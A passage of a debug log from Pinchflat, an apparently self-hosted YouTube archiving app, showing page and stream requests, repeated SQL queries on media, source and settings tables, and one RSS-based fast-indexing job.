m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:12.624 [info] Sent 200 in 1ms 17:01:14.858 [info] GET /sources/1/media/6 17:01:14.858 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:14.858 [debug] QUERY OK source="media_items" db=0.1ms idle=864.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 17:01:14.859 [debug] QUERY OK source="tasks" db=0.1ms idle=865.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 17:01:14.859 [debug] QUERY OK source="sources" db=0.2ms idle=865.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:14.859 [debug] QUERY OK source="settings" db=0.0ms idle=865.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.859 [debug] QUERY OK source="settings" db=0.0ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.860 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:14.860 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:14.860 [info] Sent 200 in 2ms 17:01:16.918 [info] GET /sources/1/media/2 17:01:16.919 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:16.919 [debug] QUERY OK source="media_items" db=0.1ms idle=925.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 17:01:16.919 [debug] QUERY OK source="tasks" db=0.0ms idle=926.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2] 17:01:16.920 [debug] QUERY OK source="sources" db=0.1ms idle=926.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:16.920 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=926.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [9] 17:01:16.920 [debug] QUERY OK source="settings" db=0.0ms idle=258.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:16.920 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:16.920 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:16.920 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:16.921 [info] Sent 200 in 2ms 17:01:18.709 [info] GET /sources/1/media/7 17:01:18.709 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:18.709 [debug] QUERY OK source="media_items" db=0.1ms idle=715.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 17:01:18.710 [debug] QUERY OK source="tasks" db=0.0ms idle=716.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 17:01:18.710 [debug] QUERY OK source="sources" db=0.1ms idle=716.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:18.710 [debug] QUERY OK source="settings" db=0.0ms idle=716.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:18.710 [debug] QUERY OK source="settings" db=0.0ms idle=46.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:18.710 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:18.711 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:18.712 [info] Sent 200 in 2ms 17:01:20.404 [info] GET /sources/1/media/3 17:01:20.404 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:20.404 [debug] QUERY OK source="media_items" db=0.1ms idle=739.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 17:01:20.404 [debug] QUERY OK source="tasks" db=0.0ms idle=410.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 17:01:20.404 [debug] QUERY OK source="sources" db=0.0ms idle=410.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:20.405 [debug] QUERY OK source="settings" db=0.0ms idle=411.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:20.405 [debug] QUERY OK source="settings" db=0.0ms idle=411.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:20.405 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:20.405 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:20.406 [info] Sent 200 in 2ms 17:01:21.883 [info] GET /sources/1/media/4 17:01:21.883 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:21.883 [debug] QUERY OK source="media_items" db=0.1ms idle=1478.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 17:01:21.884 [debug] QUERY OK source="tasks" db=0.1ms idle=1478.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 17:01:21.884 [debug] QUERY OK source="sources" db=0.1ms idle=1478.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:21.884 [debug] QUERY OK source="settings" db=0.0ms idle=1217.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:21.884 [debug] QUERY OK source="settings" db=0.0ms idle=217.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:21.884 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:21.884 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:21.885 [info] Sent 200 in 1ms 17:01:24.337 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 17:01:24.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e", "v" => "1784633055"} Pipelines: [:maybe_basic_auth] 17:01:24.337 [debug] QUERY OK source="media_items" db=0.1ms idle=1343.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 17:01:24.338 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 17:01:24.338 [info] Sent 200 in 557µs 17:01:25.677 [info] {"args":{"id":3},"id":717,"meta":{},"system_time":1784912485677144706,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:25.677 [debug] QUERY OK source="sources" db=0.0ms idle=683.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:01:25.677 [debug] QUERY OK source="settings" db=0.0ms idle=683.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:25.677 [debug] QUERY OK source="tasks" db=0.2ms idle=683.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:25.677 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:25.677 [debug] QUERY OK source="sources" db=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:01:25.677 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:25.677 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:01:25.710 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:01:25.710 [debug] QUERY OK source="media_items" db=0.1ms idle=33.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:01:25.712 [debug] QUERY OK source="media_items" db=1.6ms idle=33.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:01:25.713 [debug] QUERY OK source="tasks" db=0.0ms idle=35.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [720, 3, ~U[2026-07-24 17:01:25Z], ~U[2026-07-24 17:01:25Z]] 17:01:25.713 [info] {"args":{"id":3},"id":717,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":36368,"event":"job:stop","queue_time":409141,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:25.714 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:27.227 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:35.105 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/stream 17:01:35.106 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb", "v" => "1784851535"} Pipelines: [:maybe_basic_auth] 17:01:35.106 [debug] QUERY OK source="media_items" 